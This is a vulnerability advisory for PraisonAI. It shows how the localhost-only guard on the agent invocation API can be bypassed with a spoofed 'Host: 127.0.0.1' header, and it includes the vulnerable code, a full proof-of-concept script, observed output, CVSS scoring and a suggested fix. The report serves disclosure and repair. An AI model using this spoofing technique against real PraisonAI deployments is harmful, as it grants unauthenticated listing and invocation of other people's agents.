Call API localhost-only authentication bypass via spoofed Host header

Summary

PraisonAI's patched PRAISONAI_CALL_AUTH=disabled safeguard for the n8n/call agent invocation API can be bypassed with a spoofed Host: 127.0.0.1 header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.

Technical Details

The affected code is src/praisonai/praisonai/api/agent_invoke.py. verify_token() is used as a FastAPI dependency for the /api/v1/agents routes, including POST /api/v1/agents/{agent_id}/invoke. Current code no longer unconditionally skips authentication when PRAISONAI_CALL_AUTH=disabled; it tries to allow that opt-out only for localhost binding:

_LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'})

def _bind_host_from_request(request: Request) -> str:
    host = getattr(getattr(request, 'url', None), 'hostname', None)
    return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1')

async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:
    if _call_auth_disabled():
        bind_host = _bind_host_from_request(request)
        if bind_host not in _LOCALHOST_HOSTS:
            raise HTTPException(
                status_code=503,
                detail="PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding",
            )
        return

The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads request.url.hostname, which is derived from the HTTP Host header for the current request. A remote caller can therefore send Host: 127.0.0.1 and make the disabled-auth guard believe the request is for a localhost-bound service.

The protected sink is agent execution. After verify_token() returns, invoke_agent() retrieves the registered agent and calls agent.astart(request.message) or agent.start(request.message). The same router is mounted by the PraisonAI serve feature, which imports praisonai.api.agent_invoke, includes agent_invoke.router, and registers YAML agents into the same registry.

This is not a default-configuration exposure claim. The deployment must enable PRAISONAI_CALL_AUTH=disabled and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.

PoV

the PoV builds an in-process FastAPI app with the real agent_invoke.router, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends Host: 127.0.0.1.

disabled_client = TestClient(app, base_url="http://external.example")

external_host = disabled_client.get(
    "/api/v1/agents",
    headers={"host": "external.example"},
)
spoofed_localhost_list = disabled_client.get(
    "/api/v1/agents",
    headers={"host": "127.0.0.1"},
)
spoofed_localhost_invoke = disabled_client.post(
    "/api/v1/agents/pov-agent/invoke",
    headers={"host": "127.0.0.1"},
    json={"message": "host-header-bypass"},
)

Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects Host: external.example with 503, but accepts the spoofed localhost Host with 200 and invokes the stub agent.

The complete PoV script is in Appendix A.

PoC

Run from a PraisonAI checkout with the Appendix A script saved as pov_call_auth_host_spoof.py:

git checkout v4.6.62
uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .

Observed v4.6.62 output:

{
  "disabled_auth_external_host_status": 503,
  "disabled_auth_spoofed_localhost_invoke_status": 200,
  "disabled_auth_spoofed_localhost_list_status": 200,
  "fail_closed_without_token_status": 503,
  "repo_head": "2a855c470077c7d2e2479a575f7ef7f548d51c33",
  "spoofed_localhost_invoke_body": {
    "metadata": {
      "agent_id": "pov-agent",
      "message_length": 18,
      "response_length": 33
    },
    "result": "stub-agent-ran:host-header-bypass",
    "session_id": "default",
    "status": "success"
  },
  "stub_agent_calls": [
    "host-header-bypass"
  ],
  "vulnerable": true
}

Run the same script against current main:

git checkout 846568c7a5d8ce9e71e56e4c213f027c04909753
uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .

Observed current-head output:

{
  "disabled_auth_external_host_status": 503,
  "disabled_auth_spoofed_localhost_invoke_status": 200,
  "disabled_auth_spoofed_localhost_list_status": 200,
  "fail_closed_without_token_status": 503,
  "repo_head": "846568c7a5d8ce9e71e56e4c213f027c04909753",
  "spoofed_localhost_invoke_body": {
    "metadata": {
      "agent_id": "pov-agent",
      "message_length": 18,
      "response_length": 33
    },
    "result": "stub-agent-ran:host-header-bypass",
    "session_id": "default",
    "status": "success"
  },
  "stub_agent_calls": [
    "host-header-bypass"
  ],
  "vulnerable": true
}

The negative controls are the first two status fields. With default authentication and no token, the API fails closed with 503. With PRAISONAI_CALL_AUTH=disabled, an ordinary external Host is also rejected with 503. Only the spoofed localhost Host passes the guard and reaches agent execution.

Impact

An unauthenticated caller who can reach a PraisonAI call/serve API with PRAISONAI_CALL_AUTH=disabled can bypass the intended localhost-only restriction by setting Host: 127.0.0.1. The PoV demonstrates both agent listing and direct invocation of a registered agent through /api/v1/agents/{agent_id}/invoke.

Impact depends on the registered agents. In realistic deployments, agents may have tools, private context, workflow integrations, browser/file/API access, or paid model access. The same dependency also protects other agent registry routes, so the bypass undermines the access-control boundary for the mounted /api/v1/agents API family.

Suggested CWE: CWE-287 Improper Authentication and CWE-346 Origin Validation Error, with CWE-306 Missing Authentication for Critical Function also applicable to the bypassed protected action.

Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N (8.2). Confidentiality is scored Low because the PoV proves agent listing and invocation; higher confidentiality impact depends on deployed agents and their private context.

Suggested Fix

Do not derive bind safety from Request.url, the HTTP Host header, or any request-header-derived value. If PRAISONAI_CALL_AUTH=disabled remains supported, decide whether it is allowed at startup from server-owned configuration, such as the actual configured bind host passed to Uvicorn or the serving command, and refuse to start in disabled-auth mode when the configured bind host is not loopback.

Consider removing the HTTP auth opt-out entirely for network routes, or replacing it with an explicit local-development mode that is only available when the process is bound to 127.0.0.1, localhost, or ::1.

Regression tests should exercise real ASGI requests rather than only synthetic request objects. Include a test where PRAISONAI_CALL_AUTH=disabled, the modeled server configuration is non-loopback, and the request sends Host: 127.0.0.1; the expected result should be rejection before any agent list or invoke handler runs.

Affected Package/Versions

Affected package: praisonai on PyPI.

Confirmed affected:

• v4.6.62 at 2a855c470077c7d2e2479a575f7ef7f548d51c33
• current main at 846568c7a5d8ce9e71e56e4c213f027c04909753, version file still reporting 4.6.62

v4.6.60 had the older unconditional PRAISONAI_CALL_AUTH=disabled bypass and is covered by a different public advisory. This report is for the patched guard shape present in v4.6.62 and current main. If v4.6.61 contains the same Host-derived guard, the affected lower bound likely starts there, but I could not confirm that tag locally.

Fixed version: unknown.

Advisory History

I checked the repository advisory list available through GitHub and found adjacent but distinct advisories:

• GHSA-86qc-r5v2-v6x6: call server unauthenticated agent listing/invocation/deletion when CALL_SERVER_TOKEN is unset in older releases. Current code fails closed when no token is configured; this report requires the patched PRAISONAI_CALL_AUTH=disabled localhost guard and a spoofed Host header.
• GHSA-8ccj-p46r-jwqq: PRAISONAI_CALL_AUTH=disabled unconditionally disabled authentication in older releases and is listed as patched in >= 4.6.61. This report shows v4.6.62 and current main are still bypassable through the new guard because the guard trusts request.url.hostname.
• GHSA-vmf9-xx9w-86wx: legacy SSE MCP transport accepts attacker Host/Origin and exposes registered tools through praisonaiagents.mcp.ToolsMCPServer.run_sse(), /sse, and /messages/. That advisory affects praisonaiagents >= 0.6.0, < 1.6.58 and praisonai >= 3.10.0, < 4.6.58, with patches listed as praisonaiagents >= 1.6.59 and praisonai >= 4.6.59. This report targets a different package call path in praisonai.api.agent_invoke.verify_token() and /api/v1/agents/{agent_id}/invoke, confirmed in praisonai v4.6.62 and current main after the GHSA-vmf9 patched range. The preconditions are also different: GHSA-vmf9 is a browser/DNS-rebinding style Host/Origin issue against a local or internal legacy SSE MCP server, while this report requires PRAISONAI_CALL_AUTH=disabled on the call/n8n agent API and bypasses its localhost-only opt-out guard with Host: 127.0.0.1; no browser Origin, DNS rebinding setup, SSE transport, or MCP tool server is involved.
• GHSA-x8cv-xmq7-p8xp: AgentTeam.launch() unauthenticated API. That advisory covers praisonaiagents AgentTeam.launch() routes, not praisonai.api.agent_invoke.verify_token().
• GHSA-5qw8-f2g9-ff29: Recipe server Typer command bypasses a non-localhost authentication guard. That is a different server and CLI path. This report targets the call API's Host-derived guard input.

No advisory I found describes Host-header spoofing against the patched PRAISONAI_CALL_AUTH=disabled localhost guard in praisonai.api.agent_invoke.

References

• src/praisonai/praisonai/api/agent_invoke.py
• src/praisonai/praisonai/cli/features/serve.py
• GHSA-86qc-r5v2-v6x6: GHSA-86qc-r5v2-v6x6
• GHSA-8ccj-p46r-jwqq: GHSA-8ccj-p46r-jwqq
• GHSA-vmf9-xx9w-86wx: GHSA-vmf9-xx9w-86wx
• GHSA-x8cv-xmq7-p8xp: GHSA-x8cv-xmq7-p8xp
• GHSA-5qw8-f2g9-ff29: GHSA-5qw8-f2g9-ff29

Appendix A - Full PoV Script

#!/usr/bin/env python3
"""PoV for PraisonAI call API Host-header localhost guard bypass."""

from __future__ import annotations

import importlib
import json
import os
import sys
from pathlib import Path
from typing import Any


def _repo_root() -> Path:
    if len(sys.argv) == 2:
        return Path(sys.argv[1]).resolve()
    return Path.cwd().resolve()


def _load_agent_invoke(repo_root: Path, auth_disabled: bool):
    os.environ.pop("CALL_SERVER_TOKEN", None)
    if auth_disabled:
        os.environ["PRAISONAI_CALL_AUTH"] = "disabled"
    else:
        os.environ.pop("PRAISONAI_CALL_AUTH", None)

    package_root = repo_root / "src" / "praisonai"
    if not package_root.exists():
        raise SystemExit(f"missing PraisonAI package root: {package_root}")
    package_root_s = str(package_root)
    if package_root_s not in sys.path:
        sys.path.insert(0, package_root_s)

    import praisonai.api.agent_invoke as agent_invoke

    agent_invoke = importlib.reload(agent_invoke)
    agent_invoke._agent_registry.clear()
    return agent_invoke


class StubAgent:
    def __init__(self) -> None:
        self.calls: list[str] = []

    def start(self, message: str) -> str:
        self.calls.append(message)
        return f"stub-agent-ran:{message}"


def _make_client(agent_invoke: Any):
    from fastapi import FastAPI
    from fastapi.testclient import TestClient

    app = FastAPI()
    app.include_router(agent_invoke.router)
    return TestClient(app, base_url="http://external.example")


def main() -> int:
    repo_root = _repo_root()

    fail_closed_mod = _load_agent_invoke(repo_root, auth_disabled=False)
    fail_closed_client = _make_client(fail_closed_mod)
    fail_closed = fail_closed_client.get(
        "/api/v1/agents",
        headers={"host": "127.0.0.1"},
    )

    disabled_mod = _load_agent_invoke(repo_root, auth_disabled=True)
    agent = StubAgent()
    disabled_mod.register_agent("pov-agent", agent)
    disabled_client = _make_client(disabled_mod)

    external_host = disabled_client.get(
        "/api/v1/agents",
        headers={"host": "external.example"},
    )
    spoofed_localhost_list = disabled_client.get(
        "/api/v1/agents",
        headers={"host": "127.0.0.1"},
    )
    spoofed_localhost_invoke = disabled_client.post(
        "/api/v1/agents/pov-agent/invoke",
        headers={"host": "127.0.0.1"},
        json={"message": "host-header-bypass"},
    )

    result = {
        "repo_head": _git(repo_root, "rev-parse", "HEAD"),
        "fail_closed_without_token_status": fail_closed.status_code,
        "disabled_auth_external_host_status": external_host.status_code,
        "disabled_auth_spoofed_localhost_list_status": spoofed_localhost_list.status_code,
        "disabled_auth_spoofed_localhost_invoke_status": spoofed_localhost_invoke.status_code,
        "spoofed_localhost_invoke_body": _safe_json(spoofed_localhost_invoke),
        "stub_agent_calls": agent.calls,
    }

    expected = (
        fail_closed.status_code == 503
        and external_host.status_code == 503
        and spoofed_localhost_list.status_code == 200
        and spoofed_localhost_invoke.status_code == 200
        and agent.calls == ["host-header-bypass"]
    )
    result["vulnerable"] = expected
    print(json.dumps(result, indent=2, sort_keys=True))
    return 0 if expected else 1


def _safe_json(response: Any) -> Any:
    try:
        return response.json()
    except Exception:
        return response.text


def _git(repo_root: Path, *args: str) -> str:
    import subprocess

    return subprocess.check_output(
        ["git", "-C", str(repo_root), *args],
        text=True,
        stderr=subprocess.DEVNULL,
    ).strip()


if __name__ == "__main__":
    raise SystemExit(main())